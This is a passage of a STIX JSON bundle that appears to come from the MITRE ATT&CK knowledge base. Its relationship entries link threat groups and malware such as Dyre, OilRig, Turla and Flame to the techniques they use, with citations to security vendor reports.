            "modified": "2019-04-24T17:52:47.933Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--e9d2213a-81cf-45e3-876f-825d4ff2afae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dyre](https://attack.mitre.org/software/S0024) registers itself as a service by adding several Registry keys.(Citation: Symantec Dyre June 2015)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dyre June 2015",
                    "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf"
                }
            ],
            "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2019-04-24T23:21:07.877Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f1af286d-9367-45de-aced-a762838e58bd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
            "relationship_type": "uses",
            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "external_references": [
                {
                    "url": "http://www.secureworks.com/resources/blog/living-off-the-land/",
                    "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.",
                    "source_name": "Dell TG-1314"
                }
            ],
            "description": "(Citation: Dell TG-1314)",
            "type": "relationship",
            "modified": "2019-03-25T17:01:21.311Z",
            "created": "2017-05-31T21:33:27.064Z"
        },
        {
            "id": "relationship--2dbed740-1b50-4d59-a729-a1d9e6a839df",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used web shells, often to maintain access to a victim network.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: Crowdstrike GTR2020 Mar 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
                },
                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
                },
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
            "type": "relationship",
            "modified": "2021-03-11T22:04:43.672Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--239d98a7-f134-4270-8333-c2df2feaa9ca",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has sent malicious Office documents via email as part of spearphishing campaigns as well as executables disguised as documents.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: FireEye APT10 Sept 2018)(Citation: District Court of NY APT10 Indictment December 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "source_name": "FireEye APT10 April 2017"
                },
                {
                    "source_name": "FireEye APT10 Sept 2018",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"
                },
                {
                    "source_name": "District Court of NY APT10 Indictment December 2018",
                    "url": "https://www.justice.gov/opa/page/file/1122671/download",
                    "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "type": "relationship",
            "modified": "2020-12-17T20:15:30.853Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--53a8ee3f-f261-46d5-a6eb-512735867ee2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can retrieve lists of running processes.(Citation: Symantec Pasam May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Pasam May 2012",
                    "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"
                }
            ],
            "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-02-11T19:38:06.236Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--74fd87b9-3aff-4278-a408-11ae470082e5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070)'s version of [Bandook](https://attack.mitre.org/software/S0234) adds a registry key to <code>HKEY_USERS\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> for persistence.(Citation: Lookout Dark Caracal Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf",
                    "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.",
                    "source_name": "Lookout Dark Caracal Jan 2018"
                }
            ],
            "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-07-16T15:35:20.961Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--818b440b-075d-483d-83ff-9991a78e25f4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT19](https://attack.mitre.org/groups/G0073) sent spearphishing emails with malicious attachments in RTF and XLSM formats to deliver initial exploits.(Citation: FireEye APT19)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html",
                    "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.",
                    "source_name": "FireEye APT19"
                }
            ],
            "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "type": "relationship",
            "modified": "2019-04-25T11:39:52.234Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--825aded7-3c93-47ec-9ba5-5bd5af4e2e2b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used HTTP and HTTPS for C2 communications.(Citation: ESET Turla Mosquito Jan 2018)(Citation: ESET Turla Mosquito May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "source_name": "ESET Turla Mosquito Jan 2018"
                },
                {
                    "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/",
                    "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.",
                    "source_name": "ESET Turla Mosquito May 2018"
                }
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:42:56.473Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--74e84133-f84a-469a-bfd7-1a514af2f15e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[T9000](https://attack.mitre.org/software/S0098) performs checks for various antivirus and security products during installation.(Citation: Palo Alto T9000 Feb 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto T9000 Feb 2016",
                    "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"
                }
            ],
            "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2020-03-30T03:07:37.790Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8c9f23e6-2665-45b3-9c28-53a9335b16ce",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[LOWBALL](https://attack.mitre.org/software/S0042) uses the Dropbox cloud storage service for command and control.(Citation: FireEye admin@338)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye admin@338",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"
                }
            ],
            "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "type": "relationship",
            "modified": "2020-03-20T21:16:08.858Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4bfaaf99-6884-4df1-af72-0cc61ce50aa0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent malicious Word OLE compound documents to victims.(Citation: Talos Cobalt Group July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "source_name": "Talos Cobalt Group July 2018"
                }
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d",
            "type": "relationship",
            "modified": "2019-07-26T23:38:33.861Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d0332cfa-d932-4bc3-b661-9cd72c00b390",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) identifies files and directories for collection by searching for specific file extensions or file modification time.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T14:56:44.511Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c560f682-0d21-4c9b-b35d-33aec2287117",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSOURCE](https://attack.mitre.org/software/S0145) uses DNS TXT records for C2.(Citation: FireEye FIN7 March 2017)(Citation: Cisco DNSMessenger March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye FIN7 March 2017",
                    "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html"
                },
                {
                    "source_name": "Cisco DNSMessenger March 2017",
                    "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.",
                    "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html"
                }
            ],
            "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "type": "relationship",
            "modified": "2020-03-17T02:11:28.383Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3e09a5ce-a6a0-4f03-8c23-a7ebb4dfd74c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "When it first starts, [BADNEWS](https://attack.mitre.org/software/S0128) spawns a new thread to log keystrokes.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                },
                {
                    "source_name": "PaloAlto Patchwork Mar 2018",
                    "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"
                },
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T15:59:20.522Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3ebad12d-fd33-4289-93dc-1f5af5e90b66",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) achieves persistence by making an entry in the Registry's Run key.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-16T23:56:46.398Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--142ef662-460f-4082-8f76-f08dd312bc30",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SynAck](https://attack.mitre.org/software/S0242) payloads are obfuscated prior to compilation to inhibit analysis and/or reverse engineering.(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)(Citation: Kaspersky Lab SynAck May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/",
                    "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.",
                    "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018"
                },
                {
                    "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging",
                    "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.",
                    "source_name": "Kaspersky Lab SynAck May 2018"
                }
            ],
            "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-07-26T23:00:57.203Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a58983e1-45d7-4b45-a578-307659a619dc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The executable version of [Helminth](https://attack.mitre.org/software/S0170) has a module to log clipboard contents.(Citation: Palo Alto OilRig May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                }
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "type": "relationship",
            "modified": "2020-03-16T16:55:39.516Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--2025480a-6d91-4ef5-a6ea-cc025c8aecfb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to download files.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T02:55:01.723Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6b43b9ca-a916-44da-9ba5-917f03984157",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Catchamas](https://attack.mitre.org/software/S0261) adds a new service named NetAdapter to establish persistence.(Citation: Symantec Catchamas April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Catchamas April 2018",
                    "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.",
                    "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"
                }
            ],
            "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2021-02-09T14:49:32.541Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d8a5e73d-fe56-42d7-a53d-09a90c21308b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OSInfo](https://attack.mitre.org/software/S0165) discovers the current domain information.(Citation: Symantec Buckeye)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Buckeye",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
                }
            ],
            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-18T20:19:35.784Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--73f5c564-53b1-48bc-8cab-32fa4a608672",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[certutil](https://attack.mitre.org/software/S0160) can be used to download files from a given URL.(Citation: TechNet Certutil)(Citation: LOLBAS Certutil)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://technet.microsoft.com/library/cc732443.aspx",
                    "description": "Microsoft. (2012, November 14). Certutil. Retrieved July 3, 2017.",
                    "source_name": "TechNet Certutil"
                },
                {
                    "source_name": "LOLBAS Certutil",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Certutil/",
                    "description": "LOLBAS. (n.d.). Certutil.exe. Retrieved July 31, 2019."
                }
            ],
            "source_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-07-31T19:57:28.969Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--df4b49f1-71ca-4744-8554-47bf36174d89",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader establishes SOCKS5 connections for its initial C2.(Citation: FireEye Operation Double Tap)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html",
                    "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.",
                    "source_name": "FireEye Operation Double Tap"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.571Z",
            "created": "2017-05-31T21:33:27.056Z"
        },
        {
            "id": "relationship--550bf43e-53da-467e-affd-9f44ad668508",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sys10](https://attack.mitre.org/software/S0060) collects the computer name, OS versioning information, and OS install date and sends the information to the C2.(Citation: Baumgartner Naikon 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
            "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-05-03T16:44:41.794Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--18572125-3439-4f7c-92c8-d787913dc989",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) has the ability to upload and download files from its C2 server.(Citation: Fidelis INOCNATION)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Fidelis INOCNATION",
                    "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.",
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf"
                }
            ],
            "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T01:30:41.518Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--07d16181-ba82-42c8-a67b-8d7d5adef52d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Flame](https://attack.mitre.org/software/S0143) can record audio using any existing hardware recording devices.(Citation: Kaspersky Flame)(Citation: Kaspersky Flame Functionality)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/",
                    "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
                    "source_name": "Kaspersky Flame"
                },
                {
                    "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/",
                    "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.",
                    "source_name": "Kaspersky Flame Functionality"
                }
            ],
            "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "type": "relationship",
            "modified": "2019-06-06T14:35:53.951Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--297b069f-7d1b-4335-9363-c73bd823c322",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) encodes files in Base64.(Citation: fsecure NanHaiShu July 2016)",
            "object_marking_refs": [
